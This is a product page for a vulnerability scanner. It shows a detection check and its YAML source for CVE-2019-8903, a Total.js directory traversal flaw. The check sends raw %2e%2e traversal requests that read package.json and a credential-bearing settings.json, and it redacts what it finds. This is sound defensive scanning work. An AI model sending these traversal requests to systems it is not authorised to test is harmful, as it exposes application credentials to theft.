Total.js — 1 vulnerability check

noctis ships 1 vulnerability check for Total.js, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Total.js Platform < 3.2.3 static-file %2e%2e directory traversal

CVECVE-2019-8903
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, tcp_connect, script, match · highest QoD 75
Feedtests/vulnerabilities/totaljs/CVE-2019-8903.yaml

Total.js Platform before 3.2.3 blocks path traversal on static files by looking for a literal "./" in the raw request path, then URL-decodes the path before mapping it into public/. An encoded "%2e%2e/" segment passes the check and is decoded into "../", so any file with a static extension (.json, .js, .html, ...) under the application root — outside public/ — is served without authentication. The feed reads the application's own package.json (and, as a fallback, databases/settings.json) through that traversal.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /%2e%2e/package.json HTTP/1.0
  2. Parses / computes the next value with a Rhai script
  3. Checks pkgp.summary for ^HTTP 200, package\.json body → finding QoD 75: Total.js served the application's package.json (outside public/) without authentication via GET /%2e%2e/package.json — … — CVE-2019-8903 st…
  4. Raw TCP (TLS on HTTPS), sent verbatim: GET /%2e%2e/databases/settings.json HTTP/1.0
  5. Raw TCP (TLS on HTTPS), sent verbatim: GET /%2e%2e/databases/noctis-{{oob_token}}.json HTTP/1.0
  6. Parses / computes the next value with a Rhai script
  7. Checks stp.summary for ^HTTP 200, JSON object body → finding QoD 75: Total.js served databases/settings.json (outside public/) without authentication via GET /%2e%2e/databases/settings.json — … — CVE-2019-890…

References:

Feed source — tests/vulnerabilities/totaljs/CVE-2019-8903.yaml
uid: 7208dd8b-dc4e-4a63-add5-73c786fa8765
name: "CVE-2019-8903 — Total.js Platform < 3.2.3 static-file %2e%2e directory traversal (CVSS 7.5)"
description: |
  Total.js Platform before 3.2.3 blocks path traversal on static files by looking for a
  literal "./" in the raw request path, then URL-decodes the path before mapping it into
  public/. An encoded "%2e%2e/" segment passes the check and is decoded into "../", so
  any file with a static extension (.json, .js, .html, ...) under the application root —
  outside public/ — is served without authentication. The feed reads the application's
  own package.json (and, as a fallback, databases/settings.json) through that traversal.
cves: [CVE-2019-8903]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [totaljs, nodejs, path-traversal, lfi, file-read, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2019-8903"
  - "OpenVAS NASL 2019/totaljs/gb_totaljs_dir_trav_vuln.nasl (OID 1.3.6.1.4.1.25623.1.0.142119, GPL-2.0-only)"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-8903.yaml"
# Ported from OpenVAS/Greenbone NASL 2019/totaljs/gb_totaljs_dir_trav_vuln.nasl (GPL-2.0-only),
# which sends GET /%2e%2e/databases/settings.json and flags any 200 whose body contains `{"`.
#
# Verified against the real framework (npm total.js 3.2.2 vulnerable / 3.2.3 fixed, Dec 2026):
#   3.2.2: GET /%2e%2e/package.json and /%2e%2e/databases/settings.json → 200 + file content;
#          a file without a static extension (/etc/passwd) is never served, so the read is
#          bounded to static-extension files — /etc/passwd cannot be used as the proof.
#   3.2.3: every path containing "%2e" → 404 "404: Not Found" (text/plain).
#
# Improvements over the NASL:
#   1. Primary proof = the application's package.json read from one level above public/ and
#      declaring a total.js / total4 / total5 dependency. Every Node.js app has a package.json
#      at its root, while databases/settings.json only exists in some Total.js apps (CMS, Eshop)
#      → fewer false negatives; and the proof is bound to the product instead of "any JSON".
#   2. The settings.json fallback (faithful to the NASL) needs a control: the same traversal to a
#      random non-existent .json must NOT answer 200, so a catch-all server returning JSON on
#      every path (API gateway, SPA) is not flagged — the NASL would report it.
#   3. settings.json typically holds SMTP / admin credentials: the NASL pastes the whole response
#      into its report. Here the match runs on a redacted summary (status + body length only).
#
# Benign: read-only GET of the app's own package.json / settings.json (both redacted in evidence),
# nothing written. Verbatim tcp_connect is required — reqwest would decode and collapse %2e%2e.
# Tagged `intrusive` + `category: file-read` so operators can exclude it.
steps:
  - id: init
    action: set_var
    var_name: pkg_hit
    var_value: false

  # ── Primary proof: the app's package.json, one level above public/ ──────────
  - id: read-package-json
    action: tcp_connect
    port: "{{port}}"
    send: "GET /%2e%2e/package.json HTTP/1.0\r\nHost: {{target_host}}\r\nAccept: */*\r\n\r\n"
    timeout_secs: 10
    store_as: pkg

  # Match on a summary, not the raw reply: a package.json may still carry private
  # registry / git URLs, and match copies its source into the finding.
  - id: package-json-parse
    action: script
    store_as: pkgp
    code: |
      let b = if type_of(pkg.banner) == "string" { pkg.banner } else { "" };
      let sep = stridx(b, "\r\n\r\n");
      let body = if sep >= 0 { substr(b, sep + 4) } else { "" };
      let dep = eregmatch("\"dependencies\"\\s*:\\s*\\{[^}]*\"(total\\.js|total4|total5)\"\\s*:\\s*\"", body);
      let ok = ereg("^HTTP/1\\.[01] 200", b) && ereg("^\\s*\\{", body) && dep.len() > 1;
      #{ hit: ok, summary: if ok { "HTTP 200, package.json body of " + strlen(body) + " bytes declaring a " + dep[1] + " dependency (content redacted)" } else { "no" } }

  - id: package-json-match
    action: match
    source: pkgp.summary
    pattern: '^HTTP 200, package\.json body'
    on_match:
      finding:
        confidence_delta: 0.50
        qod: 75
        evidence: "Total.js served the application's package.json (outside public/) without authentication via GET /%2e%2e/package.json — {{pkgp.summary}} — CVE-2019-8903 static-file traversal"
      set_vars:
        pkg_hit: true
      stop: true

  # ── Fallback, faithful to the NASL: databases/settings.json + negative control ─
  - id: read-settings-json
    action: tcp_connect
    port: "{{port}}"
    send: "GET /%2e%2e/databases/settings.json HTTP/1.0\r\nHost: {{target_host}}\r\nAccept: */*\r\n\r\n"
    timeout_secs: 10
    condition: "pkg_hit == false"
    store_as: st

  - id: read-control
    action: tcp_connect
    port: "{{port}}"
    send: "GET /%2e%2e/databases/noctis-{{oob_token}}.json HTTP/1.0\r\nHost: {{target_host}}\r\nAccept: */*\r\n\r\n"
    timeout_secs: 10
    condition: "pkg_hit == false"
    store_as: ctl

  # settings.json carries credentials: summarise it (status + body length) so the
  # leaked content never lands in the finding's evidence.matched.
  - id: settings-parse
    action: script
    condition: "pkg_hit == false"
    store_as: stp
    code: |
      let b = if type_of(st.banner) == "string" { st.banner } else { "" };
      let c = if type_of(ctl.banner) == "string" { ctl.banner } else { "" };
      let sep = stridx(b, "\r\n\r\n");
      let body = if sep >= 0 { substr(b, sep + 4) } else { "" };
      let ok = ereg("^HTTP/1\\.[01] 200", b)
        && ereg("^\\s*\\{\\s*\"", body)
        && !ereg("^HTTP/1\\.[01] 200", c);
      #{ hit: ok, summary: if ok { "HTTP 200, JSON object body of " + strlen(body) + " bytes (content redacted); control traversal to a random .json not 200" } else { "no" } }

  - id: settings-json-match
    action: match
    source: stp.summary
    pattern: '^HTTP 200, JSON object body'
    condition: "pkg_hit == false"
    on_match:
      finding:
        confidence_delta: 0.50
        qod: 75
        evidence: "Total.js served databases/settings.json (outside public/) without authentication via GET /%2e%2e/databases/settings.json — {{stp.summary}} — CVE-2019-8903 static-file traversal"
      stop: true

View these feeds on GitHub